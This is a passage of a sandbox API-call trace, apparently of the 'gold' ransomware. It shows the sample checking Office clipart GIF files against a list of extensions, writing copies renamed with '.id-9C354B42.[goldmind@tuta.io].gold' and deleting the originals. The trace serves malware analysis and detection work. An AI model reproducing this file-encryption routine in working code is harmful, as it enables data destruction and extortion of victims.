lstrlenW (lpString=".1cd") returned 4 [0047.830] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0047.830] lstrlenW (lpString=".jpg") returned 4 [0047.830] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.830] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.830] lstrlenW (lpString="AG00139_.GIF") returned 12 [0047.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.923] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=10607) returned 1 [0047.923] CloseHandle (hObject=0x178) returned 1 [0047.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0047.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.923] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.923] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.924] GetLastError () returned 0x0 [0047.924] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x296f, lpOverlapped=0x0) returned 1 [0047.925] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x2970, lpOverlapped=0x0) returned 1 [0047.926] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0047.926] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.926] SetEndOfFile (hFile=0x20c) returned 1 [0047.926] CloseHandle (hObject=0x20c) returned 1 [0047.926] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.926] SetEndOfFile (hFile=0x178) returned 1 [0047.927] CloseHandle (hObject=0x178) returned 1 [0047.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0047.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0047.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0047.928] lstrlenW (lpString=".doc") returned 4 [0047.928] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.928] lstrlenW (lpString=".docx") returned 5 [0047.928] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.928] lstrlenW (lpString=".pdf") returned 4 [0047.928] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.928] lstrlenW (lpString=".xls") returned 4 [0047.928] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.928] lstrlenW (lpString=".xlsx") returned 5 [0047.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.928] lstrlenW (lpString=".ppt") returned 4 [0047.928] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0047.928] lstrlenW (lpString=".zip") returned 4 [0047.928] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.928] lstrlenW (lpString=".rar") returned 4 [0047.928] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.928] lstrlenW (lpString=".bz2") returned 4 [0047.928] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.928] lstrlenW (lpString=".7z") returned 3 [0047.928] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0047.928] lstrlenW (lpString=".dbf") returned 4 [0047.928] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0047.928] lstrlenW (lpString=".1cd") returned 4 [0047.928] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0047.928] lstrlenW (lpString=".jpg") returned 4 [0047.928] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0047.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0047.928] lstrlenW (lpString=".doc") returned 4 [0047.928] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.928] lstrlenW (lpString=".docx") returned 5 [0047.928] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.928] lstrlenW (lpString=".pdf") returned 4 [0047.928] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.928] lstrlenW (lpString=".xls") returned 4 [0047.928] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.928] lstrlenW (lpString=".xlsx") returned 5 [0047.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.928] lstrlenW (lpString=".ppt") returned 4 [0047.928] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0047.928] lstrlenW (lpString=".zip") returned 4 [0047.928] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.928] lstrlenW (lpString=".rar") returned 4 [0047.928] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.928] lstrlenW (lpString=".bz2") returned 4 [0047.928] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.928] lstrlenW (lpString=".7z") returned 3 [0047.929] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0047.929] lstrlenW (lpString=".dbf") returned 4 [0047.929] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0047.929] lstrlenW (lpString=".1cd") returned 4 [0047.929] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0047.929] lstrlenW (lpString=".jpg") returned 4 [0047.929] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.929] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.929] lstrlenW (lpString="AG00142_.GIF") returned 12 [0047.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.929] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=15308) returned 1 [0047.929] CloseHandle (hObject=0x178) returned 1 [0047.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0047.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.929] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.930] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.930] GetLastError () returned 0x0 [0047.930] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x3bcc, lpOverlapped=0x0) returned 1 [0047.932] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x3bd0, lpOverlapped=0x0) returned 1 [0047.932] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0047.933] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.933] SetEndOfFile (hFile=0x20c) returned 1 [0047.933] CloseHandle (hObject=0x20c) returned 1 [0047.933] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.933] SetEndOfFile (hFile=0x178) returned 1 [0047.934] CloseHandle (hObject=0x178) returned 1 [0047.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0047.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0047.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0047.934] lstrlenW (lpString=".doc") returned 4 [0047.934] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.934] lstrlenW (lpString=".docx") returned 5 [0047.934] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.934] lstrlenW (lpString=".pdf") returned 4 [0047.934] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.934] lstrlenW (lpString=".xls") returned 4 [0047.934] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.934] lstrlenW (lpString=".xlsx") returned 5 [0047.934] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.934] lstrlenW (lpString=".ppt") returned 4 [0047.934] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0047.934] lstrlenW (lpString=".zip") returned 4 [0047.934] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.934] lstrlenW (lpString=".rar") returned 4 [0047.934] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.934] lstrlenW (lpString=".bz2") returned 4 [0047.934] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.934] lstrlenW (lpString=".7z") returned 3 [0047.934] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0047.934] lstrlenW (lpString=".dbf") returned 4 [0047.934] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0047.934] lstrlenW (lpString=".1cd") returned 4 [0047.934] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0047.935] lstrlenW (lpString=".jpg") returned 4 [0047.935] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0047.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0047.935] lstrlenW (lpString=".doc") returned 4 [0047.935] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.935] lstrlenW (lpString=".docx") returned 5 [0047.935] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.935] lstrlenW (lpString=".pdf") returned 4 [0047.935] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.935] lstrlenW (lpString=".xls") returned 4 [0047.935] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.935] lstrlenW (lpString=".xlsx") returned 5 [0047.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.935] lstrlenW (lpString=".ppt") returned 4 [0047.935] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0047.935] lstrlenW (lpString=".zip") returned 4 [0047.935] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.935] lstrlenW (lpString=".rar") returned 4 [0047.935] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.935] lstrlenW (lpString=".bz2") returned 4 [0047.935] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.935] lstrlenW (lpString=".7z") returned 3 [0047.935] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0047.935] lstrlenW (lpString=".dbf") returned 4 [0047.935] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0047.935] lstrlenW (lpString=".1cd") returned 4 [0047.935] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0047.935] lstrlenW (lpString=".jpg") returned 4 [0047.935] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.935] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.935] lstrlenW (lpString="AG00154_.GIF") returned 12 [0047.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.936] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=5315) returned 1 [0047.936] CloseHandle (hObject=0x178) returned 1 [0047.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0047.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.936] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.936] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.936] GetLastError () returned 0x0 [0047.936] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x14c3, lpOverlapped=0x0) returned 1 [0047.937] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0047.938] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0047.938] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.938] SetEndOfFile (hFile=0x20c) returned 1 [0047.938] CloseHandle (hObject=0x20c) returned 1 [0047.939] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.939] SetEndOfFile (hFile=0x178) returned 1 [0047.939] CloseHandle (hObject=0x178) returned 1 [0047.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0047.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0047.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0047.940] lstrlenW (lpString=".doc") returned 4 [0047.940] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.940] lstrlenW (lpString=".docx") returned 5 [0047.940] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.940] lstrlenW (lpString=".pdf") returned 4 [0047.940] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.940] lstrlenW (lpString=".xls") returned 4 [0047.940] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.940] lstrlenW (lpString=".xlsx") returned 5 [0047.940] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.940] lstrlenW (lpString=".ppt") returned 4 [0047.940] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0047.940] lstrlenW (lpString=".zip") returned 4 [0047.940] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.940] lstrlenW (lpString=".rar") returned 4 [0047.940] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.940] lstrlenW (lpString=".bz2") returned 4 [0047.940] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.940] lstrlenW (lpString=".7z") returned 3 [0047.940] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0047.940] lstrlenW (lpString=".dbf") returned 4 [0047.940] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0047.940] lstrlenW (lpString=".1cd") returned 4 [0047.940] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0047.940] lstrlenW (lpString=".jpg") returned 4 [0047.940] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0047.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0047.940] lstrlenW (lpString=".doc") returned 4 [0047.940] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.940] lstrlenW (lpString=".docx") returned 5 [0047.940] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.940] lstrlenW (lpString=".pdf") returned 4 [0047.940] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.940] lstrlenW (lpString=".xls") returned 4 [0047.940] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.940] lstrlenW (lpString=".xlsx") returned 5 [0047.940] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.940] lstrlenW (lpString=".ppt") returned 4 [0047.940] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0047.940] lstrlenW (lpString=".zip") returned 4 [0047.940] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.940] lstrlenW (lpString=".rar") returned 4 [0047.940] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.940] lstrlenW (lpString=".bz2") returned 4 [0047.940] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.941] lstrlenW (lpString=".7z") returned 3 [0047.941] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0047.941] lstrlenW (lpString=".dbf") returned 4 [0047.941] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0047.941] lstrlenW (lpString=".1cd") returned 4 [0047.941] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0047.941] lstrlenW (lpString=".jpg") returned 4 [0047.941] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.941] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.941] lstrlenW (lpString="AG00157_.GIF") returned 12 [0047.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.941] GetFileSizeEx (in: 